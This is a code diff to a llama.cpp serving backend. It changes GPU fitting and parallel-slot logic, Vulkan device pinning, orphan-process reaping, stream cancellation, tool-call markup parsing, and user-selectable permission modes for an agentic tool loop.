                                         if footprint_mib <= _pool_budget_mib(subset, pin_fraction):
                                             gpu_indices = sorted(idx for idx, _ in subset)
@@ -5514,6 +6711,7 @@ class LlamaCppBackend:
                                 n_parallel = n_parallel,
                                 mtp_engaged = _mtp_reserves_gpu,
                                 mtp_overhead_fn = mtp_overhead_fn,
+                                compute_ctx_bytes_fn = _cc_bytes,
                                 budget_frac = 1.0,
                                 total_mib = None,
                             )
@@ -5523,6 +6721,7 @@ class LlamaCppBackend:
                                     cap, cache_type_kv, n_parallel = n_parallel
                                 )
                                 + _mtp_bytes(cap)
+                                + _cc_bytes(cap)
                             ) / (1024 * 1024)
                             # Fit returns the request unchanged when it fits OR weights
                             # exceed budget; only the latter over-commits, so floor to 4096.
@@ -5538,6 +6737,48 @@ class LlamaCppBackend:
                         if not explicit_ctx:
                             effective_ctx = max_available_ctx
 
+                    # Prefer fewer serving slots on GPU over --fit on offload: when the extra
+                    # --parallel slots push the footprint past the pin budget, llama-server
+                    # offloads layers to host and decode collapses ~3x (#6718). Retry the fit
+                    # at fewer slots, keeping the largest count that stays fully on GPU and the
+                    # chosen context. Skips tensor mode / Metal / KV-inestimable paths.
+                    if (
+                        use_fit
+                        and n_parallel > 1
+                        and gpus
+                        and self._can_estimate_kv()
+                        and effective_ctx > 0
+                    ):
+                        # Slot-independent footprint (folded compute buffer swapped out so the
+                        # helper re-adds a slot-sized one per candidate).
+                        _base_footprint = (
+                            model_size_fit
+                            - _compute_buffer_pipeline
+                            + _mtp_bytes(effective_ctx)
+                            + _cc_bytes(effective_ctx)
+                        )
+                        _gi_slots, _uf_slots, _slots = self._slots_that_fit_on_gpu(
+                            n_parallel,
+                            effective_ctx,
+                            gpus,
+                            total_by_idx,
+                            _base_footprint,
+                            cache_type_kv,
+                            _pin_fraction,
+                            _pipeline_overhead_bytes + _cc_bytes(effective_ctx),
+                            _layer_min_gpus,
+                            _effective_ubatch,
+                        )
+                        if not _uf_slots:
+                            logger.info(
+                                "Serving slots reduced %d -> %d to keep the model on GPU "
+                                "(avoid --fit offload) at context %d.",
+                                n_parallel,
+                                _slots,
+                                effective_ctx,
+                            )
+                            gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots
+
                     # MTP reserve at the final context, for the logs below.
                     _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0
                     if _mtp_will_engage:
@@ -5586,7 +6827,12 @@ class LlamaCppBackend:
                 # cap, not the ROCm-reported VRAM, is the real ceiling); refuse an
                 # oversize load the OS would otherwise kill mid-flight. Base model
                 # only: an optional MTP drafter is dropped by the MTP-drop fallback.
-                if model_size is not None and self._amd_apu_wants_unified_memory(gpu_indices):
+                # CUDA/ROCm ids only; a Vulkan build's gpu_indices are ggml ordinals.
+                if (
+                    model_size is not None
+                    and not is_vulkan_backend
+                    and self._amd_apu_wants_unified_memory(gpu_indices)
+                ):
                     _ram_msg = self._apu_ram_shortfall_message(
                         model_size, self._available_system_memory_mib()
                     )
@@ -5636,8 +6882,10 @@ class LlamaCppBackend:
                 if use_fit:
                     cmd.extend(["--fit", "on"])
                 elif gpu_indices is not None:
-                    # Fits on selected GPU(s) -- offload all layers
-                    cmd.extend(["-ngl", "-1"])
+                    # Fits on selected GPU(s) -- force all layers on GPU. --fit off is
+                    # required: without it llama.cpp's default --fit on second-guesses
+                    # and offloads ~1 GB at --parallel 4 even though the model fits.
+                    cmd.extend(["-ngl", "-1", "--fit", "off"])
                     fully_gpu_offloaded = True
 
                 server_caps = self.probe_server_capabilities(binary)
@@ -5847,6 +7095,12 @@ class LlamaCppBackend:
                             ", ".join(unsupported_cache_flags),
                         )
 
+                # Vulkan pins via --device (a cmd arg, unlike the env-based
+                # CUDA/ROCm pin below), emitted BEFORE user extras so llama.cpp's
+                # last-wins parsing lets a user --device override Studio's pick.
+                if is_vulkan_backend and gpu_indices is not None:
+                    cmd += LlamaCppBackend._vulkan_pin_args(gpu_indices)
+
                 # User pass-through args go last so llama.cpp's last-wins parsing
                 # lets the user override Studio's auto-set flags. Already
                 # validated by the route via validate_extra_args().
@@ -5898,23 +7152,25 @@ class LlamaCppBackend:
                         env.setdefault("OMP_NUM_THREADS", "2")
 
                 # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use
-                # shared system RAM. setdefault so a user value wins.
-                if self._amd_apu_wants_unified_memory(gpu_indices):
+                # shared system RAM. setdefault so a user value wins. Not on Vulkan
+                # (nor DC below): gpu_indices are ggml ordinals, not CUDA/ROCm ids.
+                if not is_vulkan_backend and self._amd_apu_wants_unified_memory(gpu_indices):
                     env.setdefault("GGML_CUDA_ENABLE_UNIFIED_MEMORY", "1")
                     logger.info("AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1")
 
                 # DC NVIDIA GPUs: FP32 accum (+ P2P / launch queues for multi-GPU).
                 # See _apply_datacenter_env; opt out with UNSLOTH_DISABLE_DC_TUNING=1.
-                if self._apply_datacenter_env(env, gpu_indices):
+                if not is_vulkan_backend and self._apply_datacenter_env(env, gpu_indices):
                     multi_gpu = self._effective_gpu_count(gpu_indices) > 1
                     logger.info(
                         f"Data-center GPU detected: applied DC llama.cpp env tuning (multi_gpu={multi_gpu})"
                     )
 
                 # Pin to selected GPU(s). On ROCm, narrowing only
-                # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full
-                # set, so set HIP_VISIBLE_DEVICES too.
-                if gpu_indices is not None:
+                # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full set, so
+                # set HIP_VISIBLE_DEVICES too. Vulkan is pinned via --device
+                # (above), not here.
+                if gpu_indices is not None and not is_vulkan_backend:
                     pinned = ",".join(str(i) for i in gpu_indices)
                     env["CUDA_VISIBLE_DEVICES"] = pinned
                     try:
@@ -6022,6 +7278,33 @@ class LlamaCppBackend:
                         _split_axis_crash = self._is_tensor_split_assert(
                             "\n".join(self._stdout_lines[-50:])
                         )
+                        if (
+                            _spawn_attempt == 0
+                            and fully_gpu_offloaded
+                            and _startup_crashed
+                            and not _split_axis_crash
+                        ):
+                            # We forced --fit off because Studio's (conservative) VRAM
+                            # math placed the model fully on GPU. A startup crash here
+                            # means that estimate was optimistic, so fall back to --fit
+                            # on and let llama.cpp offload rather than fail the load.
+                            logger.warning(
+                                "llama-server crashed during startup (exit code %s) "
+                                "with forced --fit off; the fit estimate was optimistic, "
+                                "retrying once with --fit on so it can offload. "
+                                "Crash log: %s",
+                                self._process.returncode,
+                                self._llama_log_path,
+                            )
+                            # Flip Studio's own --fit off (added first, before any
+                            # user extra args) to on; a user's later --fit still wins
+                            # by last-arg. Defensive: if absent, the default is already
+                            # --fit on, so leave it.
+                            _run = list(run_cmd)
+                            if "--fit" in _run:
+                                _run[_run.index("--fit") + 1] = "on"
+                            run_cmd = _run
+                            continue
                         if (
                             _spawn_attempt == 0
                             and _fit_retry_allowed
@@ -6281,6 +7564,7 @@ class LlamaCppBackend:
                         )
 
                 self._healthy = True
+                self._commit_effective_parallel_slots(n_parallel)
 
                 # Commit caller intent only after _healthy=True so a failed start
                 # can't poison the next inheritance check. None keeps prior, []
@@ -6818,6 +8102,7 @@ class LlamaCppBackend:
             self._context_length = None
             self._effective_context_length = None
             self._max_context_length = None
+            self._reset_effective_parallel_slots()
             self._chat_template = None
             self._chat_template_override = None
             self._supports_reasoning = False
@@ -6873,6 +8158,7 @@ class LlamaCppBackend:
         # Stop the watchdog before a deliberate kill so a planned reload/unload
         # isn't seen as a crash; a real crash never routes through here.
         self._stop_mtp_crash_watchdog()
+        self._reset_effective_parallel_slots()
         if self._process is None:
             return
         try:
@@ -7166,6 +8452,13 @@ class LlamaCppBackend:
             resolved_roots: list[Path] = []
             for root in install_roots:
                 try:
+                    # A --with-llama-cpp-dir local link (symlink/junction)
+                    # resolves into the user's own checkout. Adding it would let
+                    # us treat the user's externally-launched llama-server as our
+                    # orphan and kill it, so leave such roots out of the
+                    # allowlist (we forgo orphan-reaping for local-link installs).
+                    if _is_external_link(root):
+                        continue
                     resolved_roots.append(root.resolve())
                 except OSError:
                     pass
@@ -7204,6 +8497,11 @@ class LlamaCppBackend:
                         if not is_ours:
                             continue
 
+                        # A live parent means a running Studio (or the user's
+                        # shell) still owns it -- not an orphan.
+                        if LlamaCppBackend._pid_parent_is_alive(proc.info["pid"]):
+                            continue
+
                         proc.kill()
                         killed += 1
                         logger.info(
@@ -7256,6 +8554,9 @@ class LlamaCppBackend:
                     if not owned:
                         continue
 
+                    if LlamaCppBackend._pid_parent_is_alive(pid):
+                        continue
+
                     try:
                         os.kill(pid, signal.SIGKILL)
                         killed += 1
@@ -7475,6 +8776,10 @@ class LlamaCppBackend:
 
             time.sleep(interval)
 
+        # Leave a marker so _classify_llama_start_failure tells a live but
+        # never-healthy load (too large, or a proxy hijacking the loopback
+        # probe) apart from a bad GGUF (#5740).
+        self._stdout_lines.append(f"llama-server health check timed out after {timeout}s")
         logger.error(f"llama-server health check timed out after {timeout}s")
         return False
 
@@ -7539,12 +8844,17 @@ class LlamaCppBackend:
     # ── Message building (OpenAI format) ──────────────────────────
 
     @staticmethod
-    def _parse_tool_calls_from_text(content: str, *, allow_incomplete: bool = True) -> list[dict]:
-        """Thin wrapper around the shared parser in tool_call_parser
-        so safetensors and llama_cpp pick up the same fixes."""
+    def _parse_tool_calls_from_text(
+        content: str,
+        *,
+        allow_incomplete: bool = True,
+        enabled_tool_names: Optional[set] = None,
+    ) -> list[dict]:
+        """Wrapper around the shared parser; ``enabled_tool_names`` gates the markerless bare-JSON form."""
         return _shared_parse_tool_calls_from_text(
             content,
             allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
         )
 
     @staticmethod
@@ -7661,7 +8971,8 @@ class LlamaCppBackend:
 
     @staticmethod
     def _shutdown_active_httpx_sockets(client: "httpx.Client") -> None:
-        """Best-effort interrupt for a sync httpx request blocked before headers."""
+        """Best-effort interrupt for a sync httpx read blocked in recv(), whether
+        parked before headers (prefill) or mid-stream."""
         try:
             pool = getattr(getattr(client, "_transport", None), "_pool", None)
             connections = list(getattr(pool, "_connections", []) or [])
@@ -7698,7 +9009,7 @@ class LlamaCppBackend:
     ):
         """Open one streaming POST and let cancel interrupt prefill or reads."""
         if cancel_event is not None and cancel_event.is_set():
-            raise GeneratorExit
+            raise _LlamaStreamCancelled
 
         _cancel_closed = threading.Event()
         _response_ref: list = [None]
@@ -7709,10 +9020,11 @@ class LlamaCppBackend:
                     while not _cancel_closed.is_set():
                         r = _response_ref[0]
                         try:
+                            # response.close() can't wake a read already blocked in
+                            # recv(); only a socket shutdown does, so shut down first.
+                            LlamaCppBackend._shutdown_active_httpx_sockets(client)
                             if r is not None:
                                 r.close()
-                            else:
-                                LlamaCppBackend._shutdown_active_httpx_sockets(client)
                             return
                         except Exception as e:
                             logger.debug(f"Error closing request in cancel watcher: {e}")
@@ -7743,13 +9055,13 @@ class LlamaCppBackend:
             ) as response:
                 _response_ref[0] = response
                 if cancel_event is not None and cancel_event.is_set():
-                    raise GeneratorExit
+                    raise _LlamaStreamCancelled
                 yield response
                 return
         except (httpx.RequestError, RuntimeError):
             # Response was closed by the cancel watcher
             if cancel_event is not None and cancel_event.is_set():
-                raise GeneratorExit
+                raise _LlamaStreamCancelled
             raise
         finally:
             _cancel_closed.set()
@@ -7952,6 +9264,8 @@ class LlamaCppBackend:
                         "finish_reason": _metadata_finish_reason,
                     }
 
+        except _LlamaStreamCancelled:
+            return
         except httpx.ConnectError as e:
             # Server already down. If this was an MTP+tensor crash, recover by
             # reloading without MTP (scheduled in the background) and fail this
@@ -8011,23 +9325,47 @@ class LlamaCppBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
+        thread_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
         seed: Optional[int] = None,
         disable_parallel_tool_use: bool = False,
         confirm_tool_calls: bool = False,
         bypass_permissions: bool = False,
+        permission_mode: Optional[str] = None,
     ) -> Generator[dict, None, None]:
         """
         Agentic loop: let the model call tools, execute them, and continue.
 
+        permission_mode: "ask" confirms every call (with confirm_tool_calls),
+        "auto" only pauses calls detected as potentially unsafe, "off" never
+        pauses (sandbox stays on), "full" is the same as bypass_permissions.
+        Unset/unknown behaves as "ask".
+
         Yields dicts:
           {"type": "status", "text": "Searching: ..."/"Reading: ..."}   -- tool status updates
           {"type": "content", "text": "token"}            -- streamed content tokens (cumulative)
           {"type": "reasoning", "text": "token"}          -- streamed reasoning tokens (cumulative)
         """
-        from core.inference.tools import build_rag_autoinject, execute_tool
+        from core.inference.tool_stream_exec import accepts_output_callback, stream_tool_execution
+        from core.inference.tools import (
+            build_rag_autoinject,
+            execute_tool,
+            is_always_safe_tool,
+            is_potentially_unsafe_tool_call,
+        )
+
+        # Normalize the mode: "full" and bypass_permissions are the same
+        # switch, whichever arrives first wins toward the permissive side.
+        # "off" keeps the sandbox but never prompts.
+        if permission_mode == "full":
+            bypass_permissions = True
+        elif bypass_permissions:
+            permission_mode = "full"
+        elif permission_mode not in ("ask", "auto", "off"):
+            permission_mode = "ask"
 
         if not self.is_loaded:
             raise RuntimeError("llama-server is not loaded")
@@ -8035,8 +9373,14 @@ class LlamaCppBackend:
         conversation = list(messages)
 
         # Forced first-pass RAG so a doc question doesn't lose to web_search. Emits
-        # the same tool card + citations a real call would.
-        _auto = None if confirm_tool_calls else build_rag_autoinject(conversation, rag_scope)
+        # the same tool card + citations a real call would. Skip it only when a
+        # retrieval call would actually prompt (ask mode); auto never gates the
+        # safe search_knowledge_base tool, so retrieval must still run there.
+        # off never prompts either, so it also keeps first-pass retrieval.
+        _skip_autoinject = (
+            confirm_tool_calls and not bypass_permissions and permission_mode not in ("auto", "off")
+        )
+        _auto = None if _skip_autoinject else build_rag_autoinject(conversation, rag_scope)
         if _auto:
             for _ev in _auto["events"]:
                 yield _ev
@@ -8050,12 +9394,23 @@ class LlamaCppBackend:
         _reasoning_started_at: Optional[float] = None
         _reasoning_summary_emitted = False
 
+        # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+        # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = no gate.
+        _enabled_names_gate = set(_gguf_active_tool_names(tools)) if tools else None
+        # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+        # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+        _detect_tools = list(tools or [])
+
         def _reasoning_summary_event(started_at: float) -> dict:
             return {
                 "type": "reasoning_summary",
                 "duration_ms": round((time.monotonic() - started_at) * 1000.0),
             }
 
+        # Enabled-name gate for the markerless Gemma strip (disabled/example
+        # names stay visible). Set per iteration; None = pre-loop name-agnostic.
+        _enabled_tool_names = None
+
         def _strip_tool_markup(
             text: str,
             *,
@@ -8064,14 +9419,42 @@ class LlamaCppBackend:
         ) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            return strip_tool_call_markup(text, final = final)
+            # Delegate to the shared parser-side strip so the GGUF cleanup covers every family the
+            # parser promotes (Llama <|python_tag|>, Mistral [TOOL_CALLS], bare rehearsal, function
+            # XML, Gemma) and stays aligned with detection; tool_healing's strip omits the loop-only
+            # forms (python_tag / Mistral name) and would leak them into display.
+            return _shared_strip_tool_markup(
+                text, final = final, enabled_tool_names = _enabled_names_gate
+            )
 
         def _strip_tool_markup_streaming(text: str, *, force: bool = False) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            for pat in _TOOL_ALL_PATS:
-                text = pat.sub("", text)
-            return text
+
+            def _seg(segment: str, is_last: bool) -> str:
+                # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+                # strips first (nested JSON removed whole; literal markup inside a value is that
+                # call's data), then the guarded function-XML / GLM scans, then the regex arms
+                # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+                # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal + markerless
+                # strips are name-gated on the ORIGINAL list (strip/detect aligned).
+                seg = _strip_mistral_closed_calls(segment)
+                seg = _strip_bracket_tag_calls(seg, enabled_tool_names = _enabled_names_gate)
+                if is_last:
+                    seg = _strip_gemma_wrapperless_calls(seg, _enabled_names_gate)
+                seg = _strip_function_xml_calls(seg, final = is_last)
+                seg = _strip_glm_calls(seg, final = is_last)
+                pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+                for pat in pats:
+                    seg = pat.sub("", seg)
+                if is_last:
+                    seg = apply_tool_strip_patterns(
+                        seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = _enabled_names_gate
+                    )
+                return seg
+
+            # Preserve think blocks verbatim (a rehearsed call inside one must not be deleted).
+            return strip_outside_think(text, _seg)
 
         def _build_metadata_event(usage, timings, finish_reason):
             """Final usage+timings metadata event for the given pass, merging its
@@ -8107,13 +9490,38 @@ class LlamaCppBackend:
             }
 
         def _flush_reasoning_and_buffer():
-            """Append buffered reasoning (as a <think> block) then the held
+            """Close a live-streamed <think> block (or emit the buffered reasoning
+            as one block if it never streamed), then append the held
             content_buffer to the cumulative display text."""
-            nonlocal cumulative_display
-            if reasoning_accum:
+            nonlocal cumulative_display, in_thinking
+            if in_thinking:
+                cumulative_display += "</think>"
+                in_thinking = False
+            elif reasoning_accum:
                 cumulative_display += "<think>" + reasoning_accum + "</think>"
             cumulative_display += content_buffer
 
+        def _close_streamed_think() -> bool:
+            """Close a live-streamed <think> before a tool call drains, so
+            consumers without a reasoning extractor (Anthropic) get a balanced
+            block. Returns True when the caller should yield the result."""
+            nonlocal cumulative_display, in_thinking, _last_emitted
+            if not in_thinking:
+                return False
+            cumulative_display += "</think>"
+            in_thinking = False
+            if len(cumulative_display) > len(_last_emitted) and not _suppress_visible_output:
+                _last_emitted = cumulative_display
+                return True
+            return False
+
+        def _looks_like_enabled_bare_json(text: str, enabled_tool_names: set) -> bool:
+            """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False."""
+            probe = strip_llama3_leading_sentinels(text.lstrip())
+            if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)):
+                return False
+            return strip_leading_bare_json_call(probe, enabled_tool_names) != probe
+
         tool_controller = ToolLoopController(
             tools = tools,
             auto_heal_tool_calls = auto_heal_tool_calls,
@@ -8127,18 +9535,21 @@ class LlamaCppBackend:
             )
 
         _MAX_BUFFER_CHARS = 32
+        # Hold a leading ``{`` well past the 32-char XML cap until it balances (mirrors safetensors).
+        _MAX_BARE_JSON_BUFFER = 16384
         _append_budget_exhausted_nudge = True
         # RAG: cap knowledge-base searches per assistant turn. The controller is
         # tool-agnostic, so this gate stays in the loop.
         _kb_search_count = 0
 
         # ── Re-prompt on plan-without-action ─────────────────
-        # When the model describes what it intends to do (forward-looking
-        # language) without calling a tool, re-prompt once. Only triggers on
-        # responses signaling intent/planning -- a direct answer like "4" or
-        # "Hello!" won't match. Pattern compiled at module level
-        # (_INTENT_SIGNAL).
+        # Model describes intent without calling a tool: re-prompt once. A
+        # direct answer ("4", "Hello!") won't match. Pattern shared with the
+        # safetensors loop (tool_call_parser.INTENT_SIGNAL).
         _reprompt_count = 0
+        # Gates ``max_tool_iterations`` on real tool turns (not the enlarged range) so reserved
+        # re-prompt slots don't extend the budget. Mirrors the safetensors guard.
+        _tool_iters_done = 0
         _forced_tool_call_pending = False
 
         # Reserve extra iterations for re-prompts so they don't consume the
@@ -8147,12 +9558,21 @@ class LlamaCppBackend:
         for iteration in range(max_tool_iterations + _extra):
             if cancel_event is not None and cancel_event.is_set():
                 return
+            # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget.
+            _turn_executed_real_tool = False
 
             active_tools = tool_controller.active_tools()
             if not active_tools:
                 _append_budget_exhausted_nudge = False
                 break
-            _tool_xml_signals = TOOL_XML_SIGNALS
+            # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call.
+            _enabled_tool_names = {
+                (tool.get("function") or {}).get("name")
+                for tool in active_tools
+                if (tool.get("function") or {}).get("name")
+            }
+            # Shared signal tuple so GGUF BUFFERING wakes on every format the parser knows (like safetensors).
+            _tool_xml_signals = _SHARED_TOOL_XML_SIGNALS
 
             # Build payload -- stream: True so we detect tool signals
             # in the first 1-2 chunks without a non-streaming penalty.
@@ -8214,6 +9634,17 @@ class LlamaCppBackend:
                 provisional_started_tool_calls: dict[str, str] = {}
                 resolved_provisional_tool_call_ids: set[str] = set()
                 _suppress_visible_output = _forced_tool_call_pending
+                # Cards that already got their first tool_args event; later
+                # fragments stream individually so a big payload isn't a dead spinner.
+                arg_streamed_tool_call_ids: set[str] = set()
+                # TEXT tool-call path: a committed call's raw text streams to a
+                # provisional card under the parser's first-call id ("call_0"), so
+                # the final tool_start reconciles in place.
+                _text_args_call_start = -1
+                _text_args_streamed_upto = -1
+                _text_args_id = ""
+                _text_args_name = ""
+                _confirm_gated_iteration = bool(confirm_tool_calls) and not bypass_permissions
 
                 with self._open_stream(url, payload, cancel_event) as (
                     response,
@@ -8282,6 +9713,10 @@ class LlamaCppBackend:
                                     # the structured tool call.
                                     has_structured_tc = True
                                     detect_state = _S_DRAINING
+                                    # Close the reasoning prefix before the tool card
+                                    # (mirrors the is_match path).
+                                    if _close_streamed_think():
+                                        yield {"type": "content", "text": cumulative_display}
                                     for tc_d in tc_deltas:
                                         idx = tc_d.get("index", 0)
                                         if idx not in tool_calls_acc:
@@ -8326,8 +9761,16 @@ class LlamaCppBackend:
                                             in provisional_started_tool_calls.values()
                                         )
                                         # Later parallel cards only reconcile when parallel use is enabled.
+                                        # In auto mode an always-safe tool (render_html) never
+                                        # prompts, so it must stream its early card too; mirror
+                                        # that here instead of gating on the raw confirm flag.
                                         _confirm_gated = (
-                                            confirm_tool_calls and not bypass_permissions
+                                            confirm_tool_calls
+                                            and not bypass_permissions
+                                            and not (
+                                                permission_mode == "auto"
+                                                and is_always_safe_tool(current_name)
+                                            )
                                         )
                                         # Keep small-argument tools on the normal path.
                                         _args_len = len(
@@ -8364,20 +9807,43 @@ class LlamaCppBackend:
                                                     provisional = True,
                                                 ),
                                             }
+                                        # Stream argument text so the UI shows the code being
+                                        # written: first event the backlog, later the fragment.
+                                        # Display only; accumulator untouched.
+                                        if current_id in provisional_started_tool_calls:
+                                            if current_id not in arg_streamed_tool_call_ids:
+                                                arg_streamed_tool_call_ids.add(current_id)
+                                                _args_backlog = tool_calls_acc[idx]["function"].get(
+                                                    "arguments", ""
+                                                )
+                                                if _args_backlog:
+                                                    yield {
+                                                        "type": "tool_args",
+                                                        "tool_call_id": current_id,
+                                                        "tool_name": current_name,
+                                                        "text": _args_backlog,
+                                                    }
+                                            elif func.get("arguments"):
+                                                yield {
+                                                    "type": "tool_args",
+                                                    "tool_call_id": current_id,
+                                                    "tool_name": current_name,
+                                                    "text": func["arguments"],
+                                                }
                                     continue
 
                                 # ── Reasoning tokens ──
-                                # Yield only in STREAMING. In BUFFERING and
-                                # DRAINING, accumulate silently so we don't
-                                # corrupt the consumer's prev_text tracker
-                                # (routes/inference.py never resets it
-                                # between tool iterations).
+                                # Stream live except while DRAINING: reasoning is
+                                # orthogonal to tool detection (content_buffer
+                                # only), and the route resets prev_text on
+                                # tool_start, so the <think> block stays a
+                                # monotonic prefix like the no-tool path.
                                 reasoning = delta.get("reasoning_content", "")
                                 if reasoning:
                                     if _reasoning_started_at is None:
                                         _reasoning_started_at = time.monotonic()
                                     reasoning_accum += reasoning
-                                    if detect_state == _S_STREAMING:
+                                    if detect_state != _S_DRAINING:
                                         if not in_thinking:
                                             cumulative_display += "<think>"
                                             in_thinking = True
@@ -8402,7 +9868,60 @@ class LlamaCppBackend:
                                     content_accum += token
 
                                     if detect_state == _S_DRAINING:
-                                        pass  # accumulate silently
+                                        # Accumulate silently for parsing, but stream the drained
+                                        # TEXT call to a provisional card. Gated on an enabled-name
+                                        # sniff + size floor so prose/small calls spawn no pane; id
+                                        # matches the first call so the final tool_start reconciles.
+                                        if (
+                                            not has_structured_tc
+                                            and not _confirm_gated_iteration
+                                            and _text_args_call_start >= 0
+                                        ):
+                                            if not _text_args_id:
+                                                _call_text = content_accum[_text_args_call_start:]
+                                                _sniffed = _sniff_text_tool_name(
+                                                    _call_text, _enabled_tool_names
+                                                )
+                                                if _sniffed and (
+                                                    _sniffed == "render_html"
+                                                    or len(_call_text)
+                                                    >= _PROVISIONAL_ARGS_MIN_CHARS
+                                                ):
+                                                    _text_args_id = "call_0"
+                                                    _text_args_name = _sniffed
+                                                    if (
+                                                        _text_args_id
+                                                        not in provisional_started_tool_calls
+                                                    ):
+                                                        provisional_started_tool_calls[
+                                                            _text_args_id
+                                                        ] = _sniffed
+                                                        yield {
+                                                            "type": "tool_start",
+                                                            "tool_name": _sniffed,
+                                                            "tool_call_id": _text_args_id,
+                                                            "arguments": {},
+                                                            "provenance": tool_event_provenance(
+                                                                provisional = True,
+                                                            ),
+                                                        }
+                                                    yield {
+                                                        "type": "tool_args",
+                                                        "tool_call_id": _text_args_id,
+                                                        "tool_name": _sniffed,
+                                                        "text": _call_text,
+                                                    }
+                                                    _text_args_streamed_upto = len(content_accum)
+                                            elif len(content_accum) > _text_args_streamed_upto:
+                                                yield {
+                                                    "type": "tool_args",
+                                                    "tool_call_id": _text_args_id,
+                                                    "tool_name": _text_args_name,
+                                                    "text": content_accum[
+                                                        _text_args_streamed_upto:
+                                                    ],
+                                                }
+                                                _text_args_streamed_upto = len(content_accum)
 
                                     elif detect_state == _S_STREAMING:
                                         if in_thinking:
@@ -8410,12 +9929,18 @@ class LlamaCppBackend:
                                             in_thinking = False
                                         cumulative_display += token
                                         cleaned = _strip_tool_markup_streaming(cumulative_display)
-                                        if len(cleaned) > len(_last_emitted):
-                                            _last_emitted = cleaned
+                                        # Hold a trailing bare active-tool-name (split rehearsal)
+                                        # until [ARGS] arrives; released by later prose or stream end.
+                                        _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                        _emit = (
+                                            cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                                        )
+                                        if len(_emit) > len(_last_emitted):
+                                            _last_emitted = _emit
                                             if not _suppress_visible_output:
                                                 yield {
                                                     "type": "content",
-                                                    "text": cleaned,
+                                                    "text": _emit,
                                                 }
 
                                     elif detect_state == _S_BUFFERING:
@@ -8424,7 +9949,8 @@ class LlamaCppBackend:
                                         if not stripped_buf:
                                             continue
 
-                                        # Check tool signal prefixes.
+                                        # Bracket tags arrive mid-buffer, so substring-check too;
+                                        # ``[ARGS]`` counts only as a regex-matched NAME[ARGS].
                                         is_prefix = False
                                         is_match = False
                                         for sig in _tool_xml_signals:
@@ -8434,14 +9960,96 @@ class LlamaCppBackend:
                                             if sig.startswith(stripped_buf):
                                                 is_prefix = True
                                                 break
+                                            if sig == "[ARGS]":
+                                                # Active NAME[ARGS] only; inactive-name prose
+                                                # is gated out, not drained/parsed.
+                                                if (
+                                                    _gguf_rehearsal_signal_pos(
+                                                        stripped_buf, _detect_tools
+                                                    )
+                                                    >= 0
+                                                ):
+                                                    is_match = True
+                                                    break
+                                            elif sig.startswith("[") and sig in stripped_buf:
+                                                is_match = True
+                                                break
 
-                                        if is_match:
+                                        # Split rehearsal: hold the bare name until
+                                        # its [ARGS] arrives and matches above.
+                                        is_rehearsal_prefix = False
+                                        if (
+                                            not is_match
+                                            and not is_prefix
+                                            and _is_rehearsal_prefix(stripped_buf, _detect_tools)
+                                        ):
+                                            is_prefix = True
+                                            is_rehearsal_prefix = True
+
+                                        # Signal-less call shapes (mirror the safetensors
+                                        # loop): Llama-3.2 bare {"name":..} and Gemma
+                                        # call:NAME{...} would otherwise stream raw.
+                                        _hold_buffer = False
+                                        # Whole buffer is the call (no visible prefix) -- drain silently.
+                                        _drain_silently = False
+                                        if not is_match and not is_prefix:
+                                            _bare = strip_llama3_leading_sentinels(stripped_buf)
+                                            if _bare.startswith("{"):
+                                                if _balanced_brace_end(_bare, 0) is None:
+                                                    if len(stripped_buf) < _MAX_BARE_JSON_BUFFER:
+                                                        _hold_buffer = True
+                                                    elif _looks_like_enabled_bare_json(
+                                                        _bare, _enabled_tool_names
+                                                    ):
+                                                        # Oversized still-open enabled call: drain
+                                                        # rather than leak; a giant ordinary JSON
+                                                        # answer still streams.
+                                                        _drain_silently = True
+                                                elif self._parse_tool_calls_from_text(
+                                                    content_buffer,
+                                                    allow_incomplete = auto_heal_tool_calls,
+                                                    enabled_tool_names = _enabled_tool_names,
+                                                ):
+                                                    _drain_silently = True
+                                            elif (
+                                                "call:".startswith(stripped_buf)
+                                                or _GEMMA_BARE_TC_PREFIX_RE.match(stripped_buf)
+                                                is not None
+                                                or _GEMMA_BARE_TC_RE.match(stripped_buf) is not None
+                                            ):
+                                                # Whitespace-tolerant like the parser.
+                                                if _GEMMA_BARE_TC_RE.match(stripped_buf):
+                                                    _drain_silently = True
+                                                elif len(stripped_buf) < _MAX_BUFFER_CHARS:
+                                                    _hold_buffer = True
+
+                                        if _drain_silently:
+                                            # The buffered content IS the call; drain it
+                                            # without yielding. A live <think> prefix is
+                                            # separate from it -- close that.
+                                            detect_state = _S_DRAINING
+                                            # Call text begins at the held buffer
+                                            # (live arg display only; UI extracts the code).
+                                            _text_args_call_start = len(content_accum) - len(
+                                                content_buffer
+                                            )
+                                            if _close_streamed_think():
+                                                yield {
+                                                    "type": "content",
+                                                    "text": cumulative_display,
+                                                }
+                                        elif is_match:
                                             # Tool signal -- flush any visible
                                             # prefix before DRAINING so the
                                             # route sends it before tool_start.
+                                            # Use the final strip (all families incl. Llama
+                                            # <|python_tag|> / Mistral name): the buffer holds
+                                            # the whole call, so a streaming closed-only strip
